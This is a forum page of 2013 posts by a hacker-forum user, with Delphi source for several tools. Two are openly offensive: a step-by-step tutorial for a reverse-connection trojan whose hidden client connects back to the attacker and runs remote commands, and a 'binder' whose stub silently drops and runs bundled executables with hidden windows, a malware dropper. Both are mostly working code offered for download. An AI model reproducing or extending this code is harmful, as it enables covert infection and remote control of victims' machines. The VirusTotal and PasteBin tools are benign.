elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 ... 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [19] 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ... 55
181  Programación / Programación General / [Delphi] VirusTotal Scanner 0.1 en: 1 Noviembre 2013, 16:51 pm
Un simple programa en Delphi para usar el API de VirusTotal.

Una imagen :



El codigo :

Código
  1. // VirusTotal Scanner 0.1
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit virus;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  11.   IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON,
  12.   PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView,
  13.   sStatusBar, acPNG, ExtCtrls;
  14.  
  15. type
  16.   TForm1 = class(TForm)
  17.     IdHTTP1: TIdHTTP;
  18.     sSkinManager1: TsSkinManager;
  19.     PerlRegEx1: TPerlRegEx;
  20.     sGroupBox1: TsGroupBox;
  21.     sEdit1: TsEdit;
  22.     OpenDialog1: TOpenDialog;
  23.     sGroupBox2: TsGroupBox;
  24.     sListView1: TsListView;
  25.     sStatusBar1: TsStatusBar;
  26.     sGroupBox3: TsGroupBox;
  27.     sMemo1: TsMemo;
  28.     sGroupBox4: TsGroupBox;
  29.     sButton1: TsButton;
  30.     sButton2: TsButton;
  31.     sButton4: TsButton;
  32.     sButton5: TsButton;
  33.     Image1: TImage;
  34.  
  35.     procedure FormCreate(Sender: TObject);
  36.     procedure sButton1Click(Sender: TObject);
  37.     procedure sButton2Click(Sender: TObject);
  38.     procedure sButton4Click(Sender: TObject);
  39.     procedure sButton5Click(Sender: TObject);
  40.  
  41.   private
  42.  
  43.     { Private declarations }
  44.   public
  45.     { Public declarations }
  46.   end;
  47.  
  48. var
  49.   Form1: TForm1;
  50.  
  51. implementation
  52.  
  53. {$R *.dfm}
  54.  
  55. function convertirmd5(const archivo: string): string;
  56. var
  57.   valormd5: TIdHashMessageDigest5;
  58.   archivox: TFileStream;
  59. begin
  60.  
  61.   valormd5 := TIdHashMessageDigest5.Create;
  62.   archivox := TFileStream.Create(archivo, fmOpenRead);
  63.   Result := valormd5.HashStreamAsHex(archivox)
  64.  
  65. end;
  66.  
  67. procedure TForm1.FormCreate(Sender: TObject);
  68. var
  69.   dir: string;
  70. begin
  71.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  72.   sSkinManager1.SkinName := 'falloutstyle';
  73.   sSkinManager1.Active := True;
  74.  
  75. end;
  76.  
  77. procedure TForm1.sButton1Click(Sender: TObject);
  78. begin
  79.   OpenDialog1.InitialDir := GetCurrentDir;
  80.   if OpenDialog1.Execute then
  81.   begin
  82.     sEdit1.Text := OpenDialog1.filename;
  83.   end;
  84. end;
  85.  
  86. procedure TForm1.sButton2Click(Sender: TObject);
  87.  
  88. var
  89.   datos: TIdMultiPartFormDataStream;
  90.   code: string;
  91.   antivirus: string;
  92.   resultado: string;
  93.  
  94.   html: string;
  95.  
  96. begin
  97.  
  98.   if FileExists(sEdit1.Text) then
  99.   begin
  100.  
  101.     sMemo1.Clear;
  102.     sListView1.Clear;
  103.  
  104.     sStatusBar1.Panels[0].Text := '[+] Scanning ...';
  105.     Form1.sStatusBar1.Update;
  106.  
  107.     datos := TIdMultiPartFormDataStream.Create;
  108.     datos.AddFormField('resource', convertirmd5(sEdit1.Text));
  109.     datos.AddFormField('apikey',
  110.       'fuck you');
  111.  
  112.     code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report',
  113.       datos);
  114.  
  115.     code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]);
  116.  
  117.     PerlRegEx1.Regex :=
  118.       '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}';
  119.     PerlRegEx1.Subject := code;
  120.  
  121.     while PerlRegEx1.MatchAgain do
  122.     begin
  123.  
  124.       antivirus := PerlRegEx1.SubExpressions[1];
  125.       resultado := PerlRegEx1.SubExpressions[4];
  126.       resultado := StringReplace
  127.         (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]);
  128.  
  129.       with sListView1.Items.Add do
  130.       begin
  131.         Caption := antivirus;
  132.         if (resultado = 'null') then
  133.         begin
  134.           SubItems.Add('Clean');
  135.         end
  136.         else
  137.         begin
  138.           SubItems.Add(resultado);
  139.         end;
  140.       end;
  141.  
  142.     end;
  143.  
  144.     PerlRegEx1.Regex := '"scan_id": "(.*?)"';
  145.     PerlRegEx1.Subject := code;
  146.  
  147.     if PerlRegEx1.Match then
  148.     begin
  149.       sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]);
  150.     end;
  151.  
  152.     PerlRegEx1.Regex := '"scan_date": "(.*?)"';
  153.     PerlRegEx1.Subject := code;
  154.  
  155.     if PerlRegEx1.Match then
  156.     begin
  157.       sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]);
  158.     end;
  159.  
  160.     PerlRegEx1.Regex := '"permalink": "(.*?)"';
  161.     PerlRegEx1.Subject := code;
  162.  
  163.     if PerlRegEx1.Match then
  164.     begin
  165.       sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]);
  166.     end;
  167.  
  168.     PerlRegEx1.Regex :=
  169.       '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),';
  170.     PerlRegEx1.Subject := code;
  171.  
  172.     if PerlRegEx1.Match then
  173.     begin
  174.       sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3]
  175.           + '/' + PerlRegEx1.SubExpressions[2]);
  176.     end;
  177.     sStatusBar1.Panels[0].Text := '[+] Done';
  178.     Form1.sStatusBar1.Update;
  179.   end
  180.   else
  181.   begin
  182.     sStatusBar1.Panels[0].Text := '[-] File Not Found';
  183.     Form1.sStatusBar1.Update;
  184.   end;
  185. end;
  186.  
  187. procedure TForm1.sButton4Click(Sender: TObject);
  188. begin
  189.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  190. end;
  191.  
  192. procedure TForm1.sButton5Click(Sender: TObject);
  193. begin
  194.   Form1.Close();
  195. end;
  196.  
  197. end.
  198.  
  199. // The End ?
  200.  

Si lo quieren bajar lo pueden hacer de aca.
182  Programación / Programación General / [Delphi] Creacion de un Troyano de conexion inversa en: 29 Octubre 2013, 22:37 pm
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.
 
Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

Tiene que quedar como esta imagen.



Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.   lugar: integer; // Declaramos la variable lugar como entero
  4. begin
  5.  
  6.   ListBox1.Clear; // Limpiamos el contenido de ListBox
  7.  
  8.   for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
  9.   // Listamos las conexiones que
  10.   // hay en el server
  11.   begin
  12.     ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
  13.     // Agregamos al ListBox
  14.     // el host del infectado
  15.     // conectado
  16.   end;
  17.  
  18. end;
  19.  

Tiene que quedar como en la siguiente imagen.



Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2.  
  3. begin
  4.  
  5.   ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
  6.   // Mandamos el comando
  7.   // al pc infectado que
  8.   // seleccionamos en el
  9.   // ListBox
  10.  
  11. end;
  12.  

Una imagen de como deberia quedar el codigo.




0x03 : Creacion del cliente

Ahora pasamos al cliente.

Lo unico que debemos agregar es el componente ClientSocket al formulario.

Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

Código
  1. procedure TForm1.FormCreate(Sender: TObject);
  2. begin
  3.  
  4.   ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
  5.   ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
  6.   ClientSocket1.Open; // Iniciamos la conexion con el servidor
  7.  
  8.   Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana
  9.  
  10. end;
  11.  

Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

Código
  1. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  2. var
  3.   code: string;
  4. begin
  5.  
  6.   // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora
  7.  
  8.   code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code
  9.  
  10.   if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
  11.   begin
  12.     mciSendString('Set cdaudio door open wait', nil, 0, handle);
  13.     // Usamos mciSendString para abrir
  14.     // la lectora
  15.   end;
  16.  
  17.   if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
  18.   begin
  19.     mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  20.     // Cerramos la lectora usando
  21.     // mciSendString
  22.   end;
  23.  
  24. end;
  25.  

Una imagen de como deberia quedar el codigo.



0x04 : Probando el programa

El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

Les muestro una imagen de como seria todo.



Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.
 
--========--
  The End ?
--========--

Version PDF.
183  Programación / Programación General / [Delphi] DH Binder 0.3 en: 25 Octubre 2013, 17:05 pm
Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

Una imagen :



El codigo del Binder.

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit dhbinde;
  9.  
  10. interface
  11.  
  12. uses
  13.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.   Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
  15.   StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;
  16.  
  17. type
  18.   TForm1 = class(TForm)
  19.     sSkinManager1: TsSkinManager;
  20.     Image1: TImage;
  21.     sGroupBox1: TsGroupBox;
  22.     sStatusBar1: TsStatusBar;
  23.     sListView1: TsListView;
  24.     sGroupBox2: TsGroupBox;
  25.     sGroupBox3: TsGroupBox;
  26.     Image2: TImage;
  27.     sButton1: TsButton;
  28.     sGroupBox4: TsGroupBox;
  29.     sComboBox1: TsComboBox;
  30.     sGroupBox5: TsGroupBox;
  31.     sCheckBox1: TsCheckBox;
  32.     sGroupBox6: TsGroupBox;
  33.     sButton2: TsButton;
  34.     sButton3: TsButton;
  35.     sButton4: TsButton;
  36.     PopupMenu1: TPopupMenu;
  37.     l1: TMenuItem;
  38.     OpenDialog1: TOpenDialog;
  39.     OpenDialog2: TOpenDialog;
  40.     sEdit1: TsEdit;
  41.     C1: TMenuItem;
  42.     procedure l1Click(Sender: TObject);
  43.     procedure FormCreate(Sender: TObject);
  44.     procedure sButton1Click(Sender: TObject);
  45.     procedure sButton2Click(Sender: TObject);
  46.     procedure sButton3Click(Sender: TObject);
  47.     procedure sButton4Click(Sender: TObject);
  48.     procedure C1Click(Sender: TObject);
  49.   private
  50.     { Private declarations }
  51.   public
  52.     { Public declarations }
  53.   end;
  54.  
  55. var
  56.   Form1: TForm1;
  57.  
  58. implementation
  59.  
  60. uses about;
  61. {$R *.dfm}
  62. // Functions
  63.  
  64. function dhencode(texto, opcion: string): string;
  65. // Thanks to Taqyon
  66. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  67. var
  68.   num: integer;
  69.   aca: string;
  70.   cantidad: integer;
  71.  
  72. begin
  73.  
  74.   num := 0;
  75.   Result := '';
  76.   aca := '';
  77.   cantidad := 0;
  78.  
  79.   if (opcion = 'encode') then
  80.   begin
  81.     cantidad := length(texto);
  82.     for num := 1 to cantidad do
  83.     begin
  84.       aca := IntToHex(ord(texto[num]), 2);
  85.       Result := Result + aca;
  86.     end;
  87.   end;
  88.  
  89.   if (opcion = 'decode') then
  90.   begin
  91.     cantidad := length(texto);
  92.     for num := 1 to cantidad div 2 do
  93.     begin
  94.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  95.       Result := Result + aca;
  96.     end;
  97.   end;
  98.  
  99. end;
  100.  
  101. //
  102.  
  103. procedure TForm1.C1Click(Sender: TObject);
  104. begin
  105.   sListView1.Items.Clear;
  106. end;
  107.  
  108. procedure TForm1.FormCreate(Sender: TObject);
  109. begin
  110.  
  111.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  112.   sSkinManager1.SkinName := 'tv-b';
  113.   sSkinManager1.Active := True;
  114.  
  115.   OpenDialog1.InitialDir := GetCurrentDir;
  116.   OpenDialog2.InitialDir := GetCurrentDir;
  117.   OpenDialog2.Filter := 'ICO|*.ico|';
  118.  
  119. end;
  120.  
  121. procedure TForm1.l1Click(Sender: TObject);
  122. var
  123.   op: String;
  124. begin
  125.  
  126.   if OpenDialog1.Execute then
  127.   begin
  128.  
  129.     op := InputBox('Add File', 'Execute Hide ?', 'Yes');
  130.  
  131.     with sListView1.Items.Add do
  132.     begin
  133.       Caption := ExtractFileName(OpenDialog1.FileName);
  134.       if (op = 'Yes') then
  135.       begin
  136.         SubItems.Add(OpenDialog1.FileName);
  137.         SubItems.Add('Hide');
  138.       end
  139.       else
  140.       begin
  141.         SubItems.Add(OpenDialog1.FileName);
  142.         SubItems.Add('Normal');
  143.       end;
  144.     end;
  145.  
  146.   end;
  147. end;
  148.  
  149. procedure TForm1.sButton1Click(Sender: TObject);
  150. begin
  151.  
  152.   if OpenDialog2.Execute then
  153.   begin
  154.     Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  155.     sEdit1.Text := OpenDialog2.FileName;
  156.   end;
  157.  
  158. end;
  159.  
  160. procedure TForm1.sButton2Click(Sender: TObject);
  161. var
  162.   i: integer;
  163.   nombre: string;
  164.   ruta: string;
  165.   tipo: string;
  166.   savein: string;
  167.   opcionocultar: string;
  168.   lineafinal: string;
  169.   uno: DWORD;
  170.   tam: DWORD;
  171.   dos: DWORD;
  172.   tres: DWORD;
  173.   todo: Pointer;
  174.   change: DWORD;
  175.   valor: string;
  176.   stubgenerado: string;
  177.  
  178. begin
  179.  
  180.   if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
  181.   begin
  182.     ShowMessage('You have to choose two or more files');
  183.   end
  184.   else
  185.   begin
  186.     stubgenerado := 'done.exe';
  187.  
  188.     if (sCheckBox1.Checked = True) then
  189.     begin
  190.       opcionocultar := '1';
  191.     end
  192.     else
  193.     begin
  194.       opcionocultar := '0';
  195.     end;
  196.  
  197.     if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  198.     begin
  199.       savein := 'USERPROFILE';
  200.     end
  201.     else
  202.     begin
  203.       savein := sComboBox1.Items[sComboBox1.ItemIndex];
  204.     end;
  205.  
  206.     DeleteFile(stubgenerado);
  207.     CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
  208.         , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
  209.       True);
  210.  
  211.     uno := BeginUpdateResource
  212.       (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  213.  
  214.     for i := 0 to sListView1.Items.Count - 1 do
  215.     begin
  216.  
  217.       nombre := sListView1.Items[i].Caption;
  218.       ruta := sListView1.Items[i].SubItems[0];
  219.       tipo := sListView1.Items[i].SubItems[1];
  220.  
  221.       lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  222.         '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  223.       lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
  224.         + '[63686175]';
  225.  
  226.       dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  227.         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  228.       tam := GetFileSize(dos, nil);
  229.       GetMem(todo, tam);
  230.       ReadFile(dos, todo^, tam, tres, nil);
  231.       CloseHandle(dos);
  232.       UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
  233.           SUBLANG_NEUTRAL), todo, tam);
  234.  
  235.     end;
  236.  
  237.     EndUpdateResource(uno, False);
  238.  
  239.     if not(sEdit1.Text = '') then
  240.     begin
  241.       try
  242.         begin
  243.           change := BeginUpdateResourceW
  244.             (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  245.                   + '/' + stubgenerado)), False);
  246.           LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  247.             PWideChar(wideString(sEdit1.Text)));
  248.           EndUpdateResourceW(change, False);
  249.           sStatusBar1.Panels[0].Text := '[+] Done ';
  250.           Form1.sStatusBar1.Update;
  251.         end;
  252.       except
  253.         begin
  254.           sStatusBar1.Panels[0].Text := '[-] Error';
  255.           Form1.sStatusBar1.Update;
  256.         end;
  257.       end;
  258.     end
  259.     else
  260.     begin
  261.       sStatusBar1.Panels[0].Text := '[+] Done ';
  262.       Form1.sStatusBar1.Update;
  263.     end;
  264.   end;
  265.  
  266. end;
  267.  
  268. procedure TForm1.sButton3Click(Sender: TObject);
  269. begin
  270.   Form2.Show;
  271. end;
  272.  
  273. procedure TForm1.sButton4Click(Sender: TObject);
  274. begin
  275.   Form1.Close();
  276. end;
  277.  
  278. end.
  279.  
  280. // The End ?
  281.  

El codigo del Stub

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. // Stub
  9.  
  10. program stub;
  11.  
  12. uses
  13.   Windows,
  14.   SysUtils,
  15.   ShellApi;
  16.  
  17. // Functions
  18.  
  19. function regex(text: String; deaca: String; hastaaca: String): String;
  20. begin
  21.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  22.   SetLength(text, AnsiPos(hastaaca, text) - 1);
  23.   Result := text;
  24. end;
  25.  
  26. function dhencode(texto, opcion: string): string;
  27. // Thanks to Taqyon
  28. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  29. var
  30.   num: integer;
  31.   aca: string;
  32.   cantidad: integer;
  33.  
  34. begin
  35.  
  36.   num := 0;
  37.   Result := '';
  38.   aca := '';
  39.   cantidad := 0;
  40.  
  41.   if (opcion = 'encode') then
  42.   begin
  43.     cantidad := Length(texto);
  44.     for num := 1 to cantidad do
  45.     begin
  46.       aca := IntToHex(ord(texto[num]), 2);
  47.       Result := Result + aca;
  48.     end;
  49.   end;
  50.  
  51.   if (opcion = 'decode') then
  52.   begin
  53.     cantidad := Length(texto);
  54.     for num := 1 to cantidad div 2 do
  55.     begin
  56.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  57.       Result := Result + aca;
  58.     end;
  59.   end;
  60.  
  61. end;
  62.  
  63. //
  64.  
  65. // Start the game
  66.  
  67. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  68. var
  69.   data: DWORD;
  70.   uno: DWORD;
  71.   dos: DWORD;
  72.   cinco2: string;
  73.   nombre: string;
  74.   tipodecarga: string;
  75.   ruta: string;
  76.   ocultar: string;
  77.  
  78. begin
  79.  
  80.   Result := True;
  81.  
  82.   cinco2 := cinco;
  83.   cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  84.   cinco2 := dhencode(cinco2, 'decode');
  85.   cinco2 := LowerCase(cinco2);
  86.  
  87.   nombre := regex(cinco2, '[nombre]', '[nombre]');
  88.   tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  89.   ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  90.   ocultar := regex(cinco2, '[hide]', '[hide]');
  91.  
  92.   data := FindResource(0, cinco, cuatro);
  93.  
  94.   uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  95.     CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  96.   WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  97.     dos, nil);
  98.  
  99.   CloseHandle(uno);
  100.  
  101.   if (ocultar = '1') then
  102.   begin
  103.     SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  104.   end;
  105.  
  106.   if (tipodecarga = 'normal') then
  107.   begin
  108.     ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  109.   end
  110.   else
  111.   begin
  112.     ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  113.   end;
  114.  
  115. end;
  116.  
  117. begin
  118.  
  119.   EnumResourceNames(0, RT_RCDATA, @start, 0);
  120.  
  121. end.
  122.  
  123. // The End ?
  124.  

Si lo quieren bajar lo pueden hacer de aca.
184  Programación / Programación General / [Delphi] DH PasteBin Manager 0.2 en: 18 Octubre 2013, 18:00 pm
Un simple programa en delphi para subir y bajar codigos en pastebin.

Unas imagenes :







Los codigos :

Menu

Código
  1. // DH PasteBin Manager 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit paste;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  11.   IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar,
  12.   sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     sSkinManager1: TsSkinManager;
  17.     Image1: TImage;
  18.     sGroupBox1: TsGroupBox;
  19.     sButton1: TsButton;
  20.     sButton2: TsButton;
  21.     sButton3: TsButton;
  22.     sButton4: TsButton;
  23.  
  24.     procedure FormCreate(Sender: TObject);
  25.     procedure sButton3Click(Sender: TObject);
  26.     procedure sButton4Click(Sender: TObject);
  27.     procedure sButton1Click(Sender: TObject);
  28.     procedure sButton2Click(Sender: TObject);
  29.  
  30.   private
  31.     { Private declarations }
  32.   public
  33.     { Public declarations }
  34.   end;
  35.  
  36. var
  37.   Form1: TForm1;
  38.  
  39. implementation
  40.  
  41. uses formdown, formup;
  42. {$R *.dfm}
  43.  
  44. procedure TForm1.FormCreate(Sender: TObject);
  45. var
  46.   dir: string;
  47. begin
  48.  
  49.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  50.   sSkinManager1.SkinName := 'matrix';
  51.   sSkinManager1.Active := True;
  52.  
  53.   dir := ExtractFilePath(Application.ExeName) + '/downloads';
  54.  
  55.   if not(DirectoryExists(dir)) then
  56.   begin
  57.     CreateDir(dir);
  58.   end;
  59.  
  60.   ChDir(dir);
  61.  
  62. end;
  63.  
  64. procedure TForm1.sButton1Click(Sender: TObject);
  65. begin
  66.   Form3.Show;
  67. end;
  68.  
  69. procedure TForm1.sButton2Click(Sender: TObject);
  70. begin
  71.   Form2.Show;
  72. end;
  73.  
  74. procedure TForm1.sButton3Click(Sender: TObject);
  75. begin
  76.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  77. end;
  78.  
  79. procedure TForm1.sButton4Click(Sender: TObject);
  80. begin
  81.   Form1.Close();
  82. end;
  83.  
  84. end.
  85.  
  86. // The End ?
  87.  

Uploader

Código
  1. // DH PasteBin Manager 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit formup;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls,
  11.   ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent,
  12.   IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo;
  13.  
  14. type
  15.   TForm3 = class(TForm)
  16.     sGroupBox4: TsGroupBox;
  17.     sLabel3: TsLabel;
  18.     sLabel4: TsLabel;
  19.     sEdit3: TsEdit;
  20.     sEdit4: TsEdit;
  21.     sGroupBox5: TsGroupBox;
  22.     sButton3: TsButton;
  23.     sButton4: TsButton;
  24.     sButton5: TsButton;
  25.     Image1: TImage;
  26.     sStatusBar1: TsStatusBar;
  27.     OpenDialog1: TOpenDialog;
  28.     IdHTTP1: TIdHTTP;
  29.     PerlRegEx1: TPerlRegEx;
  30.     sMemo1: TsMemo;
  31.     procedure sButton4Click(Sender: TObject);
  32.     procedure sButton5Click(Sender: TObject);
  33.     procedure sButton3Click(Sender: TObject);
  34.   private
  35.     { Private declarations }
  36.   public
  37.     { Public declarations }
  38.   end;
  39.  
  40. var
  41.   Form3: TForm3;
  42.  
  43. implementation
  44.  
  45. {$R *.dfm}
  46.  
  47. procedure TForm3.sButton3Click(Sender: TObject);
  48. var
  49.   datos: TIdMultiPartFormDataStream;
  50.   code: string;
  51.   titulo: string;
  52.   contenido: string;
  53.  
  54.   archivo: TextFile;
  55.   texto: string;
  56.  
  57. begin
  58.  
  59.   titulo := ExtractFileName(sEdit3.Text);
  60.  
  61.   sMemo1.Lines.Clear;
  62.  
  63.   AssignFile(archivo, sEdit3.Text);
  64.   Reset(archivo);
  65.  
  66.   while not Eof(archivo) do
  67.   begin
  68.     ReadLn(archivo, texto);
  69.     sMemo1.Lines.Add(texto);
  70.   end;
  71.  
  72.   CloseFile(archivo);
  73.  
  74.   contenido := sMemo1.Lines.Text;
  75.  
  76.   datos := TIdMultiPartFormDataStream.Create;
  77.  
  78.   datos.AddFormField('api_dev_key', 'fuck you');
  79.   datos.AddFormField('api_option', 'paste');
  80.   datos.AddFormField('api_paste_name', titulo);
  81.   datos.AddFormField('api_paste_code', contenido);
  82.  
  83.   sStatusBar1.Panels[0].Text := '[+] Uploading ...';
  84.   Form3.sStatusBar1.Update;
  85.  
  86.   code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos);
  87.  
  88.   PerlRegEx1.Regex := 'pastebin';
  89.   PerlRegEx1.Subject := code;
  90.  
  91.   if PerlRegEx1.Match then
  92.   begin
  93.     sStatusBar1.Panels[0].Text := '[+] Done';
  94.     Form3.sStatusBar1.Update;
  95.     sEdit4.Text := code;
  96.   end
  97.   else
  98.   begin
  99.     sStatusBar1.Panels[0].Text := '[-] Error Uploading';
  100.     Form3.sStatusBar1.Update;
  101.   end;
  102.  
  103. end;
  104.  
